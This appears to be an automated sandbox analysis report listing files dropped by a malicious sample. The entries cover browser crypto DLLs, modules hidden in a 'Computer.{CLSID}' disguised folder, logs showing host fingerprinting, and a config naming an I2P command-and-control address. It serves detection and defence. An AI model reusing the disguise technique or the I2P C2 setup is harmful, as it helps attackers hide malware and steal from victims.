Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: JGKjBsQrMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Bootstrapper.exe, Detection: malicious, Browse Filename: azeyNF3kkf.exe, Detection: malicious, Browse Filename: Setup .exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Nin6JE44ky.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: JGKjBsQrMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Bootstrapper.exe, Detection: malicious, Browse Filename: azeyNF3kkf.exe, Detection: malicious, Browse Filename: Setup .exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Nin6JE44ky.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65277
Entropy (8bit):	6.607056426486409
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86f:lw28V55At/zqw+Iq9ecbA2W8K
MD5:	F0FB0D50625E13969EB8407BF0831EE1
SHA1:	A2A79D842CF30067B7CB4FDC25F850B9E51154B0
SHA-256:	16BBE489E724A7CD593C92572F4ADDB04BA8C80179F005CBEFF766613AA4F091
SHA-512:	329B68B4D7A714D9FF29FD8E41913036DFC8EFD8F6E3D28B5A209084EEE7CAAD51E4DD08CFC4A3FCBCA27E6B435D223605350B384664A4C14E0DA7CF69BC9E08
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ZsL2hKzmRChz.acl

Download File

Process:	C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
File Type:	data
Category:	dropped
Size (bytes):	456
Entropy (8bit):	3.2341395630162877
Encrypted:	false
SSDEEP:	12:Ml8Pi7t8+d/fQfjfEWNfElsfghFfShFfgmSem4emzYWr:k8APd/oj8i8ls0FSFgID7r
MD5:	40AB00517F4227F2C3C334F1D16B65B4
SHA1:	F8D57AF017E2209B4FB24122647FD7F71B67C87C
SHA-256:	4BAF4B78D05A28AF7DEE7DBBCE2B4EDF6053D9239C1756C932BE9F2FEEE4EF85
SHA-512:	75D74306F043B864295F09A60C19A43494C226664733C99318989CE5C22CB9395BB407FB5C8C0268AD9184A79813304ED5FC943A6B53DB54F5F225CDA31650E3
Malicious:	false
Preview:	C.o.m.p.u.t.e.r...{.2.0.d.0.4.f.e.0.-.3.a.e.a.-.1.0.6.9.-.a.2.d.8.-.0.8.0.0.2.b.3.0.3.0.9.d.}.....D.:.A.I.(.D.;.;.F.A.;.;.;.B.U.).(.A.;.;.F.A.;.;.;.B.A.).(.A.;.O.I.C.I.I.D.;.F.A.;.;.;.B.A.).(.A.;.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.C.O.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.I.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.-.1.-.5.-.3.).....

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115200
Entropy (8bit):	6.220309385007289
Encrypted:	false
SSDEEP:	1536:RQsjbnQsiAEVTEWeFENdEUD1/H6BELpsV4vN8qdnJNXq8Vc3:RQibZibeFENdppW54NdvXq6c3
MD5:	E6CAC6ACD18D0BBAD9C2384B1DBEDE84
SHA1:	63004A83FF18CCE911BC74D27C1A2B7BEA9CF4C3
SHA-256:	9BC6EDD286F4DCD83E57B541BC99038F7E902DE943A6FD528BA485DF1187FFA8
SHA-512:	43C745D49AB82809C24E5EE62E11406B12B695140117EB1012111EEA3B73F9B34B5ADE21A1DB3AA1FEAD982F266B05646A08A4813CBA2EA950C59A73AB069FB3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........."h.............................P......Zq....`... .........................................^....................................@..l........................... ...(.......................h............................text...X...........................`..`.data........0......................@....rdata..@d...@...f...(..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2690
Entropy (8bit):	5.554895460277825
Encrypted:	false
SSDEEP:	48:CFdHW54yclDEDsXcm9FLvTU4bcPPE4bcPPTM94bcPPZ4bcPPA4bcPP84bcPPcWIs:idH9NBJ9Vr3YPHYPTNYP6YPTYP/YPVlZ
MD5:	8576DA859E47A9638907C648E5432A51
SHA1:	B2A6A7BA46BA2A2755CD2E6D73409EFD785E0DD4
SHA-256:	B450CB0C96F63C6227361EF6CB8B09D33298E0BCB94885D5A156642B4205D7C2
SHA-512:	CA5840223C8F35A7D653514BD09E78D30D9C6664467D8CFEC4618BE710ACAB63BD35605B7F8F63BA1AFE15456A46A0645AC73EF8E9832BC81C08C02F6919ADAA
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[D] (ini_get_sec) -> Done(name=cnccli)..[D] (ini_get_var) -> Done(sec=cnccli,name=server_host,value=c

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.104102844508187
Encrypted:	false
SSDEEP:	6:1EVQLD4o8WnuJO+70X1YIzOD7kXpTRL9gWVUDeLn:Cjo8DJO+70X1YeC7kX9vgpKL
MD5:	91D86E531FECE0D34AD78D947FC7331C
SHA1:	52C9A7C16634637E9DB31A6CE63850DFB170B44D
SHA-256:	A885C71096995389DF3015B194B9AD10AE24C4328F4322932D6455398B2FC653
SHA-512:	1EE4ED0F8045670DBEE2C5C4F8100C362B84C1CCC1A2E7F4FD1E97EC057055F1A8DC75A0CE349CC01DBFFA2B18E7C7C2288845641358CA3A609B0E6FBD9F49B5
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=c21a876e..server_port=41674..server_timeo=15000..i2p_try_num=10..i2p_sam3_timeo=15000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.25639342609658
Encrypted:	false
SSDEEP:	1536:cTa6mu/WYUIdcVVKwU4k+EFfgvVFc2nx7ehX/DhZB34:cTa6mu5UIdc/KwzrGgw2x7ehX7hP34
MD5:	7D37AB1E97BBC8593665FF365D8C96B7
SHA1:	B42A6717F91A4C538A4979AB1F0A9CC58485061D
SHA-256:	1DA31243257B0EBC79BA57CA98E6A3A1996CC4E2641E96098561CDCB1FA3EE46
SHA-512:	60B3683FA7BCA42932E02AED4615E67264F31D6F85BEBCD3EA7187B9F7A9F79270341496432C07F7E9B10A3172AF22D636206FA5B89514A693405EC9D61F678D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\.........?..............................0.......'....`... .........................................^.......................$............ ..l............................v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.444332547867086
Encrypted:	false
SSDEEP:	24:CFAGHS+5lGyclY7GfylD2BlD7cRE9FLxJLJ50ERySXYfe:CFdHS+54yclDEDsXcm9FLvTt1
MD5:	638B8EC48130148F4AFD3662B99BE525
SHA1:	4EB0CD7D176B828C292BCDE1E718CBF6AE4A3C87
SHA-256:	D3C16814F9073BDED811390D36E65253F4A0C2B8D5F754D740FC6B3E411FD392
SHA-512:	D0DADE492BA1A08DCE3AEAE535E24A62CC22EC09911BEC4B100F3402600EB64206E08F9A7BEAAC3C6261AF511A5D250790FAF978CAF1530E3419E18B8120C82C
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffdac0fb0c0)..[I] (tcp_connect) -> Done(sock=0x358,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.241321016680509
Encrypted:	false
SSDEEP:	1536:uVq4VcOpVJ7Z4LB2gnUYQulkvJp0qn2goggVoOHDE:uVq4VcOph4LB2khdkYq2goggM
MD5:	FB3BDB27D9C479148F3545ED99E65980
SHA1:	A5860563DE81D8B74A1C842647E8F4AC7655842A
SHA-256:	2B5DC45E89700D4B991ADDED1AA097641D60932B7BBE2C12FC8536B9D46F15A6
SHA-512:	A26D4B169C4061FC7A2A5FEFAEB4AAE0E9A28211FA28F42B929EAAC3721DCBDD17A17ED6E77A79C17D93355CF85E4C46118E42D4F527ADF054AB1CC79C8B4D74
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....f......\.........Io....................................W.....`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15107
Entropy (8bit):	5.344000282136481
Encrypted:	false
SSDEEP:	96:idHrNBJ9VrzBvqHEsETEiEtEFJIJ89kTr/I9gfpg92Zx9QzROVbE0wfPH5l2EGVA:ALNDT30HEsETEiEtEUqhV
MD5:	2F0D252B3BD8874B2EAA1E869AEBB844
SHA1:	7F8BC6C4AB57366A85026B178A03EC7961297E54
SHA-256:	E96999C5F6EE64996D61574635216C96357F65C51282F354872DF321B8EAC77D
SHA-512:	ECD9E30175C726059DEE9EC4DA75192D26DF0BD77A149208F11B8B2260099D4CF0F729587FD4865F64D139B9E698856CECBD596E42D3E249D3A5355CB7C31E18
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (server_init) -> CreateThread(routine_gc) done..[I] (server_init) -> CreateThread(routine_accept) done..[I] (server_init)

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8812
Entropy (8bit):	5.004039288486309
Encrypted:	false
SSDEEP:	192:b+FDwgDqM/VN8TWEMX4XpFsn/7BvvFQ6/C5:S3N8KX4pFsnS
MD5:	1256DA672B8F39A275FE17E6C716F822
SHA1:	B156C2186056CC5BFCA84549DD53F796936B2F6D
SHA-256:	44DC1F938213E09A6EF6A64A9F14804530AE53F41E71813EFAF651D9516E246E
SHA-512:	956D431C83ED0DD59D6F1F3101DCBCAD0C6BC1E06031141AAA236F7115A6CDAF95CCEA09E42CF1047D2205E8B37F87EA17BEBAABFB9C85B96D6FA12DE1C7F403
Malicious:	false
Preview:	## Configuration file for a typical i2pd user..## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/..## for more options you can use in this file.....## Lines that begin with "## " try to explain what's going on. Lines..## that begin with just "#" are disabled commands: you can enable them..## by removing the "#" symbol.....## Tunnels config file..## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf..# tunconf = /var/lib/i2pd/tunnels.conf....## Tunnels config files path..## Use that path to store separated tunnels in different config files...## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d..# tunnelsdir = /var/lib/i2pd/tunnels.d....## Path to certificates used for verifying .su3, families..## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates..# certsdir = /var/lib/i2pd/certificates....## Where to write pidfile (default: /run/i2pd.pid, not used in Windows)..# pidfile = /run/i2pd.pid....## Logging configuration section..## By default logs go

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.su3

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	66138
Entropy (8bit):	7.828263238514239
Encrypted:	false
SSDEEP:	1536:DcfdIJTAe0fhT4Fv/XkiO2ZgYd3218xs3svEykZd:aaTHl33O2u4XOsvQ
MD5:	166C6727028BD4F428E411ED225117C6
SHA1:	D08CB3E69EA6CF633349F990229E87CBA4BCD72A
SHA-256:	63A0993B931DAD9DCCF08EA48A0D8E8BA94652EDA5BC84F787E640CDD0FC800A
SHA-512:	90EDF532080C61E9FEE3B8C884E8894B8A52955410489BBCBA3A53AB7A2E291EC2D382A2CB1F5B304762207CBC1971F4A440281A5653257E7223CE171B3646A0
Malicious:	false
Preview:	I2Psu3..................................1721890600......reseed@cnc.netPK.........3.Xw.H.....a...;...routerInfo-6bL8xvKABpTmmQ-0qofqx9csy9SWPBPDE3hUrYsOrWo=.dat;t....C.>%.6.........Fh........E..e.<..Y..g{...k.W>6.\|......3..~...F...Z..z..+.....I...;U.....X....>..........'..x.....X.B.....X2.Kly..-......L....3m%..+3...R-uC]..s#..}..mm.Y..JlY.,.....muR.C}R}C..+u..}.3.........+..#.K,L..J..\|.+.m...l...9`.`...5b...XPl...l..=:I...~....E..>.!.....&..~.......i.&n%..e.X....\...i`.......o..[.V.....[Q..d..k..h..s#.C2.Y..iA.y.%.) q. +%I/;/.<.'5.858.......Z.I(..$.............+..e.....Y.ZX..N.Z.......<g.~...-}.....f.E!.....G......Q[..e.;.....l....M...PK...........X.r.........;...routerInfo-bfaXwwIiRX4zIAbSubKcynpxGzaHUWg7O6~I62TpPWI=.dat;.......f...$.f..._.>...9~.....-"{Z..Y...M(...)P.Z=......[.F....w...W.gF.B..Ys.[,..*..Oz.v......~V...v f`..xe..3.....8..1..d.....Z...........5c...yVi....i...srq.c^Z]FA...5KA~Q.-......5c...E@.A.yNT.y^QpIX`D..nEi`xe.....eZ.O.A.a.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\5spuxvtyp6bpzxqbodiqxcfongbbqlsamj3w6d54pocgrixn5wfa.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.601866739838035
Encrypted:	false
SSDEEP:	12:3fDTB61KiCwoWlgJWKF7fkcZrnz1jBpO1tN1m702U:vDTB61zC4UIcZbzxB2tsU
MD5:	4C6917D19D88CD15080E4226060AA718
SHA1:	0D725713EB35ADF7DE25152924320B2854E0C52F
SHA-256:	6E8F3D7BF26C45A604BA89E78F205334A8D4CCA7D98F541B368315157CE5039F
SHA-512:	856D01B0893AF5CFEB08E697DAE23647EFAAF39B09BEA3848D758E35297297B3A8C1F596AD07AC6A403D9DFF18867FE78D8CAE572DAC6DB0131A48553627CC2C
Malicious:	false
Preview:	....r......D..1..o..Mr.bb.w=..tzofpo.z....<L..0...k....-.V./&N.s...{Kd..~Pj ..y.Dv.KcQ..).)..../........&..+.4y...k...2.Y.:xK.5.Z.%.._..c./.o..T..1..v.R.5d....`.)./f......h.\|...C8.Dy....KDr^.%.H.+{!)..K`..a/..@.P.V.........J...U..Q...'.....).....u$....7.}.r.T......b..........G.{.....J.......Zjr..J....#...Z..E.9.k..W.;...0.L..e...... ...{.i;...5....;...}.....S.....~..15:...*CFpeg .C..'H.f.o#z.>.g-...v(.........4.f.cM.c..lQ....&.`cE\..t........s...wa6x.EY.UF.A.f.....?0.;]..']...{w..q

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\i2p.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19975
Entropy (8bit):	5.723511854303394
Encrypted:	false
SSDEEP:	192:VH9UtqSZmCVGwYHc+ig5EUQM/0A3x4BVpY9C42aLC+zGzm3oOR6+KF8N0QKsnlAi:9mRmrhHlmUQM7ua9C4nCS3oOREF8GWz
MD5:	5D7E337DEF47D754D775D2BD721725A9
SHA1:	C5151D32AFD3A6A6E88AAF6882783E7050BB17D9
